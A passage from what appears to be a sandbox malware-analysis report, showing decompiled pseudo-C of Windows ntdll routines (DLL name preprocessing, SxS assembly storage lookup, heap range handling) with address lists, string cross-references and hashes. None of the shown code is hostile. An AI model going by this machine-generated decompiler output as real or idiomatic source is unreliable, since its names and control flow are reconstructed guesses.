							if(_t75 == 0) {
								_t76 = "API set";
							}
							_push(_t76);
							_push(_t183);
							E34CFE692("minkernel\\ntdll\\ldrutil.c", 0xa78, "LdrpPreprocessDllName", 2, "DLL %wZ was redirected to %wZ by %s\n", _t135);
							_t138 = _a8;
							_t189 = _t189 + 0x20;
						}
						_t79 =  *_t138 | 0x00000200;
						__eflags = _v5;
						 *_t138 = _t79;
						if(_v5 != 0) {
							 *_t138 = _t79 | 0x00000004;
						}
						_t81 = _t183;
						_v12 = _t81;
						L27:
						if(_t184 < 0) {
							goto L83;
						}
						if(( *_t138 & 0x00000200) != 0) {
							E34C8FCF0(_t138, _t183);
							_t81 = _v12;
						}
						_t165 = _t81[2];
						_t89 = ( *_t81 & 0x0000ffff) + 0xfffffffe + _t165;
						if(_t89 < _t165) {
							L34:
							_t184 = E34C9C7E7(_t183, 0x34c5116c);
							goto L39;
						} else {
							while(1) {
								_t140 =  *_t89 & 0x0000ffff;
								if(_t140 == 0x2e) {
									break;
								}
								if(_t140 != 0x2f && _t140 != 0x5c) {
									_t89 = _t89 - 2;
									if(_t89 >= _t165) {
										continue;
									}
								}
								goto L34;
							}
							_t141 = _t183[2];
							_t93 = ( *_t183 & 0x0000ffff) + 0xfffffffe + _t141;
							__eflags = _t93 - _t141;
							if(_t93 < _t141) {
								L38:
								__eflags = 0;
								 *((short*)(_t93 + 2)) = 0;
								L39:
								if(_t184 < 0) {
									goto L83;
								}
								goto L40;
							}
							while(1) {
								__eflags =  *_t93 - 0x2e;
								if( *_t93 != 0x2e) {
									goto L38;
								}
								_t93 = _t93 - 2;
								 *_t183 =  *_t183 + 0xfffe;
								__eflags = _t93 - _t141;
								if(_t93 >= _t141) {
									continue;
								}
								goto L38;
							}
							goto L38;
						}
					}
					_t168 = _t135[2];
					_t96 = ( *_t135 & 0x0000ffff) + 0xfffffffe + _t168;
					if(_t96 < _t168) {
						L22:
						 *_t138 =  *_t138 | 0x00000020;
						_t184 = 0;
						_t97 =  *_t135 & 0x0000ffff;
						if(_t97 == 0) {
							L26:
							_t81 = _t135;
							goto L27;
						}
						_t144 = _t97 + ( *_t183 & 0x0000ffff) + 2;
						if(_t144 > (_t183[1] & 0x0000ffff)) {
							__eflags = _t144 - 0xfffe;
							if(_t144 <= 0xfffe) {
								_t62 = _t144 + 0x3f; // -191
								_t186 = _t62 & 0xffffffc0;
								__eflags = _t186 - 0xfffe;
								if(_t186 > 0xfffe) {
									_t186 = 0xfffe;
								}
								_t145 = _t183[2];
								_t64 =  &(_t183[4]); // 0x1000008
								__eflags = _t145 - _t64;
								if(_t145 == _t64) {
									_t146 = E34C95D60(_t186);
									_v20 = _t146;
									__eflags = _t146;
									if(_t146 == 0) {
										goto L80;
									}
									_t103 =  *_t183 & 0x0000ffff;
									__eflags = _t103;
									if(_t103 != 0) {
										E34CC88C0(_t146, _t183[2], _t103);
										_t146 = _v20;
										_t189 = _t189 + 0xc;
									}
									goto L78;
								} else {
									_t146 = E34D03C57(_t186, _t145);
									L78:
									__eflags = _t146;
									if(_t146 == 0) {
										L80:
										_t184 = 0xc0000017;
										L25:
										_t138 = _a8;
										goto L26;
									}
									_t183[2] = _t146;
									_t183[1] = _t186;
									goto L24;
								}
							}
							_t184 = 0xc0000106;
							goto L25;
						}
						L24:
						_t184 = 0;
						E34CC88C0(( *_t183 & 0x0000ffff) + _t183[2], _t135[2],  *_t135 & 0x0000ffff);
						_t189 = _t189 + 0xc;
						 *_t183 =  *_t183 + ( *_t135 & 0x0000ffff);
						 *((short*)(_t183[2] + (( *_t183 & 0x0000ffff) >> 1) * 2)) = 0;
						goto L25;
					} else {
						goto L18;
					}
					while(1) {
						L18:
						_t151 =  *_t96 & 0x0000ffff;
						if(_t151 == 0x5c || _t151 == 0x2f) {
							break;
						}
						_t96 = _t96 - 2;
						if(_t96 >= _t168) {
							continue;
						}
						_t138 = _a8;
						goto L22;
					}
					__eflags = E34CB432E(_t135) - 5;
					if(__eflags == 0) {
						_t184 = E34C9C7E7(_t183, _t135);
						goto L25;
					}
					_t112 = E34CA23C4(_t135, _t183, __eflags);
					_t138 = _a8;
					_t184 = _t112;
					_t81 = _t135;
					__eflags = _t184;
					if(_t184 < 0) {
						goto L83;
					}
					 *_t138 =  *_t138 | 0x00000600;
					goto L27;
				} else {
					_v5 = 0;
					_v20 =  *[fs:0x30];
					_v7 = 1;
					E34C9DF36(0, _t135, 0x14d0);
					asm("sbb edx, edx");
					if(E34CA015C( *((intOrPtr*)( *[fs:0x30] + 0x38)), _t135,  ~_a4 & _a4 + 0x0000002c,  &_v6,  &_v28) < 0 || _v6 == 0) {
						_t119 = 0x14d3;
					} else {
						__eflags = _v28;
						if(_v28 == 0) {
							_t119 = 0x14d2;
						} else {
							_t119 = 0x14d1;
						}
					}
					E34C9DF36(0, _t135, _t119);
					if(_v6 != 0) {
						__eflags = _v28;
						if(_v28 == 0) {
							_t184 = 0xc0000481;
							goto L14;
						}
						 *_t183 = 0;
						E34CC5050(0,  &_v44, E34C901C0());
						E34C9C7E7(_t183,  &_v44);
						E34C9C7E7(_t183, 0x34c51008);
						_t184 = E34C9C7E7(_t183,  &_v28);
						__eflags = _t184;
						if(_t184 < 0) {
							goto L7;
						}
						_t134 =  *(_v20 + 0x10);
						__eflags = _t134;
						if(_t134 == 0) {
							L53:
							_t128 = 0;
							__eflags = 0;
							L54:
							_t161 = _t183;
							goto L8;
						}
						__eflags =  *(_t134 + 8) & 0x00001000;
						if(( *(_t134 + 8) & 0x00001000) != 0) {
							_t128 = 1;
							goto L54;
						}
						goto L53;
					} else {
						L7:
						_t128 = _v7;
						_t161 = _t135;
						L8:
						if(_t184 < 0) {
							L83:
							__eflags =  *0x34d737c0 & 0x00000003;
							if(( *0x34d737c0 & 0x00000003) != 0) {
								_push(_t184);
								E34CFE692("minkernel\\ntdll\\ldrutil.c", 0xab2, "LdrpPreprocessDllName", 0, "LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx\n", _t135);
							}
							__eflags =  *0x34d737c0 & 0x00000010;
							if(( *0x34d737c0 & 0x00000010) != 0) {
								asm("int3");
							}
							L40:
							if(_v8 != 0) {
								E34C9C4A0(_v16,  &_v16);
							}
							return _t184;
						} else {
							if(_t128 != 0 &&  *0x34d75d70 == 0) {
								_t136 = E34C99870(1, _t161, 0x34c5116c, 0,  &_v36, 0, 0, 0, 0);
								if(_t136 >= 0) {
									_v5 = 1;
									E34CA23C4( &_v36, _t183, __eflags);
									E34CAE3C9( &_v36);
								}
								if(_t136 != 0xc0150008) {
									_t184 = _t136;
								}
								_t135 = _v12;
							}
							L14:
							if(_t184 < 0) {
								goto L83;
							} else {
								_t138 = _a8;
								_t75 = _v5;
								goto L16;
							}
						}
					}
				}
			}

0x34c9b0de
0x34c9b0e3
0x34c9b0e5
0x34c9b0ef
0x34ce81db
0x34c9b0f5
0x34c9b0f5
0x34c9b0f5
0x34c9b0f9
0x34c9b0fc
0x34c9b0fe
0x34c9b100
0x34c9b109
0x34c9b1d5
0x34c9b1d9
0x34c9b1dc
0x34c9b303
0x34c9b30a
0x34ce81f8
0x34ce81fa
0x34ce81ff
0x34ce8201
0x34ce8201
0x34ce8206
0x34ce8207
0x34ce821f
0x34ce8224
0x34ce8227
0x34ce8227
0x34c9b312
0x34c9b317
0x34c9b31b
0x34c9b31d
0x34c9b3ff
0x34c9b3ff
0x34c9b323
0x34c9b325
0x34c9b264
0x34c9b266
0x00000000
0x00000000
0x34c9b272
0x34c9b2f6
0x34c9b2fb
0x34c9b2fb
0x34c9b278
0x34c9b281
0x34c9b285
0x34c9b2a0
0x34c9b2ac
0x00000000
0x34c9b287
0x34c9b287
0x34c9b287
0x34c9b28d
0x00000000
0x00000000
0x34c9b292
0x34c9b299
0x34c9b29e
0x00000000
0x00000000
0x34c9b29e
0x00000000
0x34c9b292
0x34c9b2b3
0x34c9b2b9
0x34c9b2bb
0x34c9b2bd
0x34c9b2ca
0x34c9b2ca
0x34c9b2cc
0x34c9b2d0
0x34c9b2d2
0x00000000
0x00000000
0x00000000
0x34c9b2d2
0x34c9b2c0
0x34c9b2c0
0x34c9b2c4
0x00000000
0x00000000
0x34ce82bf
0x34ce82c2
0x34ce82c5
0x34ce82c7
0x00000000
0x00000000
0x00000000
0x34ce82cd
0x00000000
0x34c9b2c0
0x34c9b285
0x34c9b1e5
0x34c9b1eb
0x34c9b1ef
0x34c9b210
0x34c9b210
0x34c9b213
0x34c9b215
0x34c9b21b
0x34c9b262
0x34c9b262
0x00000000
0x34c9b262
0x34c9b225
0x34c9b22d
0x34ce823f
0x34ce8245
0x34ce8251
0x34ce8254
0x34ce8257
0x34ce825d
0x34ce825f
0x34ce825f
0x34ce8264
0x34ce8267
0x34ce826a
0x34ce826c
0x34ce827f
0x34ce8281
0x34ce8284
0x34ce8286
0x00000000
0x00000000
0x34ce8288
0x34ce828b
0x34ce828e
0x34ce8295
0x34ce829a
0x34ce829d
0x34ce829d
0x00000000
0x34ce826e
0x34ce8275
0x34ce82a0
0x34ce82a0
0x34ce82a2
0x34ce82b0
0x34ce82b0
0x34c9b25f
0x34c9b25f
0x00000000
0x34c9b25f
0x34ce82a4
0x34ce82a7
0x00000000
0x34ce82a7
0x34ce826c
0x34ce8247
0x00000000
0x34ce8247
0x34c9b233
0x34c9b236
0x34c9b243
0x34c9b24b
0x34c9b24e
0x34c9b25b
0x00000000
0x00000000
0x00000000
0x00000000
0x34c9b1f1
0x34c9b1f1
0x34c9b1f1
0x34c9b1f7
0x00000000
0x00000000
0x34c9b206
0x34c9b20b
0x00000000
0x00000000
0x34c9b20d
0x00000000
0x34c9b20d
0x34c9b3ae
0x34c9b3b1
0x34ce8238
0x00000000
0x34ce8238
0x34c9b3bb
0x34c9b3c0
0x34c9b3c3
0x34c9b3c5
0x34c9b3c7
0x34c9b3c9
0x00000000
0x00000000
0x34c9b3cf
0x00000000
0x34c9b10f
0x34c9b117
0x34c9b123
0x34c9b129
0x34c9b12d
0x34c9b144
0x34c9b154
0x34c9b160
0x34c9b32d
0x34c9b32d
0x34c9b332
0x34ce81e4
0x34c9b338
0x34c9b338
0x34c9b338
0x34c9b332
0x34c9b16a
0x34c9b173
0x34c9b342
0x34c9b347
0x34ce81ee
0x00000000
0x34ce81ee
0x34c9b34f
0x34c9b35c
0x34c9b366
0x34c9b372
0x34c9b381
0x34c9b383
0x34c9b385
0x00000000
0x00000000
0x34c9b38e
0x34c9b391
0x34c9b393
0x34c9b39e
0x34c9b39e
0x34c9b39e
0x34c9b3a0
0x34c9b3a0
0x00000000
0x34c9b3a0
0x34c9b395
0x34c9b39c
0x34c9b406
0x00000000
0x34c9b406
0x00000000
0x34c9b179
0x34c9b179
0x34c9b179
0x34c9b17c
0x34c9b17e
0x34c9b180
0x34ce82d2
0x34ce82d2
0x34ce82d9
0x34ce82db
0x34ce82f3
0x34ce82f8
0x34ce82fb
0x34ce8302
0x34ce8308
0x34ce8308
0x34c9b2d8
0x34c9b2dc
0x34c9b2e5
0x34c9b2e5
0x34c9b2f2
0x34c9b186
0x34c9b188
0x34c9b1ae
0x34c9b1b2
0x34c9b3dc
0x34c9b3e3
0x34c9b3eb
0x34c9b3eb
0x34c9b1be
0x34c9b3f5
0x34c9b3f5
0x34c9b1c4
0x34c9b1c4
0x34c9b1c7
0x34c9b1c9
0x00000000
0x34c9b1cf
0x34c9b1cf
0x34c9b1d2
0x00000000
0x34c9b1d2
0x34c9b1c9
0x34c9b180
0x34c9b173

Strings

LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 34CE82DD
minkernel\ntdll\ldrutil.c, xrefs: 34CE821A, 34CE82EE
LdrpPreprocessDllName, xrefs: 34CE8210, 34CE82E4
SxS, xrefs: 34CE81FA
API set, xrefs: 34CE8201, 34CE8206
DLL %wZ was redirected to %wZ by %s, xrefs: 34CE8209

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: 388387bd16f73bfd6bcb23336ccb61771b1959d0f68039c372a078641fa80eb8
Instruction ID: 52cc44bdf13787ca755f905e3d5cabefc2e506db20d33762261280ca4f6aa248
Opcode Fuzzy Hash: 388387bd16f73bfd6bcb23336ccb61771b1959d0f68039c372a078641fa80eb8
Instruction Fuzzy Hash: 7FC10175A00B15BFEB188B65C890BFE77E7FF45740F5440A9E801EB2A1EB749884C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 34CB2594 Relevance: 7.6, Strings: 6, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E34CB2594(signed int __ecx, void* __edx, signed int _a4, intOrPtr* _a8, intOrPtr _a16) {
				void* _v8;
				void* _v12;
				char _v16;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr* _t34;
				signed int _t35;
				void* _t38;
				signed int _t41;
				void* _t43;

				_t38 = __edx;
				_t35 = __ecx;
				_t21 =  *[fs:0x30];
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				if(__edx == 0x34c5120c) {
					E34D0EF10(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlGetAssemblyStorageRoot");
					goto L23;
				} else {
					_t34 = _a8;
					if(_t34 != 0) {
						 *_t34 = 0;
					}
					_t41 = _a4;
					if((_t35 & 0xfffffffc) != 0 || _t41 < 1 || _t34 == 0) {
						_push(E34CB2C10);
						_push(_t34);
						_push(_t41);
						_push(_t35);
						E34D0EF10(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags              : 0x%lx\nSXS:    AssemblyRosterIndex: 0x%lx\nSXS:    AssemblyStorageRoot: %p\nSXS:    Callback           : %p\n", "RtlGetAssemblyStorageRoot");
						goto L23;
					} else {
						_t43 = E34CB265C(_t35 & 0x00000003, _t21, _t38,  &_v12,  &_v8,  &_v16);
						if(_t43 < 0) {
							_push(_t43);
							_push("SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header.  Status = 0x%08lx\n");
							goto L20;
						} else {
							_t40 = _v12;
							if(_v12 == 0) {
								L14:
								_t43 = 0;
							} else {
								_t27 = _v16;
								if(_t27 == 0) {
									L16:
									_t43 = 0xc00000e5;
								} else {
									_t37 = _v8;
									if(_v8 == 0) {
										goto L16;
									} else {
										if(_t41 >=  *((intOrPtr*)(_t27 + 8))) {
											_push( *((intOrPtr*)(_t27 + 8)));
											_push(_t41);
											E34D0EF10(0x33, 0, "SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx\n", "RtlGetAssemblyStorageRoot");
											L23:
											_t43 = 0xc000000d;
										} else {
											_t43 = E34CB2919(_t37, _t40, _t41, _t37, _a16);
											if(_t43 < 0) {
												_push(_t43);
												_push("SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry.  Status = 0x%08lx\n");
												L20:
												_push(0);
												_push(0x33);
												E34D0EF10();
											} else {
												_t32 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + _t41 * 4));
												if(_t32 == 0) {
													goto L16;
												} else {
													 *_t34 = _t32 + 4;
													goto L14;
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return _t43;
			}

0x34cb2594
0x34cb2594
0x34cb259c
0x34cb25a6
0x34cb25a9
0x34cb25ac
0x34cb25b6
0x34cf1f77
0x00000000
0x34cb25bc
0x34cb25bc
0x34cb25c1
0x34cb25c3
0x34cb25c3
0x34cb25c5
0x34cb25ce
0x34cf1fbc
0x34cf1fc1
0x34cf1fc2
0x34cf1fc3
0x34cf1fd1
0x00000000
0x34cb25e5
0x34cb25fc
0x34cb2600
0x34cf1f81
0x34cf1f82
0x00000000
0x34cb2606
0x34cb2606
0x34cb260b
0x34cb264a
0x34cb264a
0x34cb260d
0x34cb260d
0x34cb2612
0x34cb2655
0x34cb2655
0x34cb2614
0x34cb2614
0x34cb2619
0x00000000
0x34cb261b
0x34cb261e
0x34cf1fa0
0x34cf1fa3
0x34cf1fb2
0x34cf1fd9
0x34cf1fd9
0x34cb2624
0x34cb262e
0x34cb2632
0x34cf1f89
0x34cf1f8a
0x34cf1f8f
0x34cf1f8f
0x34cf1f91
0x34cf1f93
0x34cb2638
0x34cb263e
0x34cb2643
0x00000000
0x34cb2645
0x34cb2648
0x00000000
0x34cb2648
0x34cb2643
0x34cb2632
0x34cb261e
0x34cb2619
0x34cb2612
0x34cb260b
0x34cb2600
0x34cb25ce
0x34cb2652

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 34CF1FC9
RtlGetAssemblyStorageRoot, xrefs: 34CF1F6A, 34CF1FA4, 34CF1FC4
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 34CF1F8A
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 34CF1FA9
SXS: %s() passed the empty activation context, xrefs: 34CF1F6F
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 34CF1F82

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 0-861424205
Opcode ID: c791a44f6c30e79b41b1c511872331b09f91e9bd288da69e541a73b413725327
Instruction ID: a7da8bf8fc6831c3dd6b0d4636a2ee6d9f0ee0e3e6291932e70b95657940d80f
Opcode Fuzzy Hash: c791a44f6c30e79b41b1c511872331b09f91e9bd288da69e541a73b413725327
Instruction Fuzzy Hash: 5731F476F01224BBFB109A869C88F5B7A6E9F44794F088599B905B7240DB34EE00CFE0

Uniqueness

Uniqueness Score: -1.00%

Function 34C90680 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E34C90680(intOrPtr __ecx, signed int* __edx) {
				signed int* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr* _v24;
				signed int _v28;
				signed int _v32;
				signed char _v56;
				char _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t136;
				signed int _t141;
				void* _t143;
				signed int* _t145;
				signed int* _t146;
				intOrPtr _t148;
				unsigned int _t150;
				char _t162;
				signed int* _t164;
				signed char* _t165;
				intOrPtr _t166;
				signed int* _t168;
				signed char* _t169;
				signed char* _t171;
				signed char* _t180;
				intOrPtr _t195;
				signed int _t197;
				signed int _t209;
				signed char _t210;
				intOrPtr* _t215;
				intOrPtr _t222;
				signed int _t232;
				intOrPtr* _t242;
				intOrPtr _t244;
				unsigned int _t245;
				intOrPtr _t247;
				intOrPtr* _t258;
				signed char _t264;
				unsigned int _t269;
				intOrPtr _t271;
				signed int* _t276;
				signed int _t277;
				void* _t278;
				intOrPtr _t281;
				signed int* _t287;
				intOrPtr _t288;
				unsigned int _t291;
				unsigned int* _t295;
				intOrPtr* _t298;
				intOrPtr _t300;

				_t231 = __edx;
				_v8 = __edx;
				_t300 = __ecx;
				_t298 = E34C90ACE(__edx,  *__edx);
				if(_t298 == __ecx + 0x8c) {
					L45:
					return 0;
				}
				if( *0x34d76960 >= 1) {
					__eflags =  *(_t298 + 0x14) -  *__edx;
					if(__eflags < 0) {
						_t222 =  *[fs:0x30];
						__eflags =  *(_t222 + 0xc);
						if( *(_t222 + 0xc) == 0) {
							_push("HEAP: ");
							E34C7B910();
						} else {
							E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(UCRBlock->Size >= *Size)");
						E34C7B910();
						__eflags =  *0x34d75da8;
						if(__eflags == 0) {
							E34D3FC95(_t231, 1, _t298, __eflags);
						}
					}
				}
				_t136 =  *((intOrPtr*)(_t298 - 2));
				_t4 = _t298 - 8; // -8
				_t232 = _t4;
				if(_t136 != 0) {
					_v12 = (_t232 & 0xffff0000) - ((_t136 & 0x000000ff) << 0x10) + 0x10000;
				} else {
					_v12 = _t300;
				}
				_v20 =  *((intOrPtr*)(_t298 + 0x10));
				_t141 =  *(_t300 + 0xcc) ^  *0x34d76d48;
				_v28 = _t141;
				if(_t141 != 0) {
					 *0x34d791e0(_t300,  &_v20, _v8);
					_t143 = _v28();
					_t276 = _v8;
					goto L13;
				} else {
					_t295 = _v8;
					if( *(_t298 + 0x14) -  *_t295 <=  *(_t300 + 0x6c) << 3) {
						_t269 =  *(_t298 + 0x14);
						__eflags = _t269 -  *(_t300 + 0x5c) << 3;
						if(__eflags < 0) {
							 *_t295 = _t269;
						}
					}
					if(( *(_t300 + 0x40) & 0x00040000) != 0) {
						_push(0);
						_push("true");
						_v16 = 0x40;
						_push( &_v60);
						_push(3);
						_push(_t300);
						_push(0xffffffff);
						_t209 = L34CC2BE0();
						__eflags = _t209;
						_t210 = _v56;
						if(_t209 < 0) {
							L61:
							__eflags = 0;
							E34D45FED(0, _t300, 1, _t210, 0, 0);
							_v16 = 4;
							L62:
							_t276 = _v8;
							goto L8;
						}
						__eflags = _t210 & 0x00000060;
						if((_t210 & 0x00000060) == 0) {
							goto L61;
						}
						__eflags = _v60 - _t300;
						if(__eflags == 0) {
							goto L62;
						}
						goto L61;
					} else {
						_v16 = 4;
						L8:
						_v32 =  *_t276;
						_v28 =  *((intOrPtr*)(_t300 + 0x1f8)) -  *((intOrPtr*)(_t300 + 0x244));
						_t215 = _t300 + 0xd4;
						_v24 = _t215;
						if( *0x34d7373c != 0) {
							L11:
							_push(_v16);
							_push(0x1000);
							_push(_t276);
							_push(0);
							_push( &_v20);
							_push(0xffffffff);
							_t143 = E34CC2B10();
							_t276 = _v8;
							L12:
							 *((intOrPtr*)(_t300 + 0x21c)) =  *((intOrPtr*)(_t300 + 0x21c)) + 1;
							L13:
							if(_t143 < 0) {
								 *((intOrPtr*)(_t300 + 0x224)) =  *((intOrPtr*)(_t300 + 0x224)) + 1;
								goto L45;
							}
							_t145 =  *( *[fs:0x30] + 0x50);
							if(_t145 != 0) {
								__eflags =  *_t145;
								if(__eflags == 0) {
									goto L15;
								}
								_t146 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
								L16:
								if( *_t146 != 0) {
									__eflags =  *( *[fs:0x30] + 0x240) & 0x00000001;
									if(__eflags != 0) {
										E34D3EFD3(_t232, _t300, _v20,  *_t276, 2);
									}
								}
								if( *((intOrPtr*)(_t300 + 0x4c)) != 0) {
									_t291 =  *(_t300 + 0x50) ^  *_t232;
									 *_t232 = _t291;
									_t264 = _t291 >> 0x00000010 ^ _t291 >> 0x00000008 ^ _t291;
									if(_t291 >> 0x18 != _t264) {
										_push(_t264);
										E34D3D646(_t232, _t300, _t232, _t298, _t300, __eflags);
									}
								}
								 *((char*)(_t232 + 2)) = 0;
								 *((char*)(_t232 + 7)) = 0;
								_t148 =  *((intOrPtr*)(_t298 + 8));
								_t242 =  *((intOrPtr*)(_t298 + 0xc));
								_t277 =  *((intOrPtr*)(_t148 + 4));
								_v32 = _t277;
								_t278 = _t298 + 8;
								if( *_t242 != _t277 ||  *_t242 != _t278) {
									E34D45FED(0xd, 0, _t278, _v32,  *_t242, 0);
								} else {
									 *_t242 = _t148;
									 *((intOrPtr*)(_t148 + 4)) = _t242;
								}
								_t150 =  *(_t298 + 0x14);
								if(_t150 == 0) {
									L27:
									_t244 = _v12;
									 *((intOrPtr*)(_t244 + 0x30)) =  *((intOrPtr*)(_t244 + 0x30)) - 1;
									 *((intOrPtr*)(_t244 + 0x2c)) =  *((intOrPtr*)(_t244 + 0x2c)) - ( *(_t298 + 0x14) >> 0xc);
									 *((intOrPtr*)(_t300 + 0x1f8)) =  *((intOrPtr*)(_t300 + 0x1f8)) +  *(_t298 + 0x14);
									 *((intOrPtr*)(_t300 + 0x20c)) =  *((intOrPtr*)(_t300 + 0x20c)) + 1;
									 *((intOrPtr*)(_t300 + 0x208)) =  *((intOrPtr*)(_t300 + 0x208)) - 1;
									_t245 =  *(_t298 + 0x14);
									if(_t245 >= 0x7f000) {
										 *((intOrPtr*)(_t300 + 0x1fc)) =  *((intOrPtr*)(_t300 + 0x1fc)) - _t245;
										_t245 =  *(_t298 + 0x14);
									}
									_t280 = _v8;
									_t154 =  *_v8;
									if(_t245 <=  *_v8) {
										_t281 = _v12;
										__eflags =  *((intOrPtr*)(_t298 + 0x10)) + _t245 -  *((intOrPtr*)(_t281 + 0x28));
										_t280 = _v8;
										if( *((intOrPtr*)(_t298 + 0x10)) + _t245 !=  *((intOrPtr*)(_t281 + 0x28))) {
											 *_t280 =  *_t280 + ( *_t232 & 0x0000ffff) * 8;
											goto L30;
										}
										_t154 =  *_t280;
										goto L29;
									} else {
										L29:
										E34C9096B(_t300, _v12,  *((intOrPtr*)(_t298 + 0x10)) + 0xffffffe8 +  *_t280, _t245 - _t154, _t232, _t280);
										 *_v8 =  *_v8 << 3;
										L30:
										_t247 = _v12;
										 *((char*)(_t232 + 3)) = 0;
										_t282 =  *((intOrPtr*)(_t247 + 0x18));
										if( *((intOrPtr*)(_t247 + 0x18)) != _t247) {
											_t162 = (_t232 - _t247 >> 0x10) + 1;
											_v32 = _t162;
											__eflags = _t162 - 0xfe;
											if(_t162 >= 0xfe) {
												E34D45FED(3, _t282, _t232, _t247, 0, 0);
												_t162 = _v32;
											}
										} else {
											_t162 = 0;
										}
										 *((char*)(_t232 + 6)) = _t162;
										_t164 =  *( *[fs:0x30] + 0x50);
										if(_t164 != 0) {
											__eflags =  *_t164;
											if( *_t164 == 0) {
												goto L33;
											}
											_t165 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
											L34:
											if( *_t165 != 0) {
												_t166 =  *[fs:0x30];
												__eflags =  *(_t166 + 0x240) & 0x00000001;
												if(( *(_t166 + 0x240) & 0x00000001) == 0) {
													goto L35;
												}
												__eflags = E34C93C40();
												if(__eflags == 0) {
													_t180 = 0x7ffe0380;
												} else {
													_t180 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
												}
												_t299 = _v8;
												E34D3F1C3(_t232, _t300, _t232, __eflags,  *_v8,  *(_t300 + 0x74) << 3,  *_t180 & 0x000000ff);
												L36:
												_t168 =  *( *[fs:0x30] + 0x50);
												if(_t168 != 0) {
													__eflags =  *_t168;
													if( *_t168 == 0) {
														goto L37;
													}
													_t169 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
													L38:
													if( *_t169 != 0) {
														__eflags = E34C93C40();
														if(__eflags == 0) {
															_t171 = 0x7ffe038a;
														} else {
															_t171 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
														}
														E34D3F1C3(_t232, _t300, _t232, __eflags,  *_t299,  *(_t300 + 0x74) << 3,  *_t171 & 0x000000ff);
													}
													return _t232;
												}
												L37:
												_t169 = 0x7ffe038a;
												goto L38;
											}
											L35:
											_t299 = _v8;
											goto L36;
										}
										L33:
										_t165 = 0x7ffe0380;
										goto L34;
									}
								} else {
									_t287 =  *(_t300 + 0xb8);
									if(_t287 != 0) {
										_t256 = _t150 >> 0xc;
										__eflags = _t256 - _t287[1];
										if(_t256 < _t287[1]) {
											L79:
											E34C9036A(_t300, _t287, 0, _t298, _t256, _t150);
											goto L24;
										} else {
											goto L75;
										}
										while(1) {
											L75:
											_t197 =  *_t287;
											__eflags = _t197;
											_v32 = _t197;
											_t150 =  *(_t298 + 0x14);
											if(_t197 == 0) {
												break;
											}
											_t287 = _v32;
											__eflags = _t256 - _t287[1];
											if(_t256 >= _t287[1]) {
												continue;
											}
											goto L79;
										}
										_t256 = _t287[1] - 1;
										__eflags = _t287[1] - 1;
										goto L79;
									}
									L24:
									_t258 =  *((intOrPtr*)(_t298 + 4));
									_t195 =  *_t298;
									_t288 =  *_t258;
									if(_t288 !=  *((intOrPtr*)(_t195 + 4)) || _t288 != _t298) {
										E34D45FED(0xd, 0, _t298,  *((intOrPtr*)(_t195 + 4)), _t288, 0);
									} else {
										 *_t258 = _t195;
										 *((intOrPtr*)(_t195 + 4)) = _t258;
									}
									goto L27;
								}
							}
							L15:
							_t146 = 0x7ffe0380;
							goto L16;
						}
						_t271 =  *_t215;
						if(_t271 != 0) {
							L63:
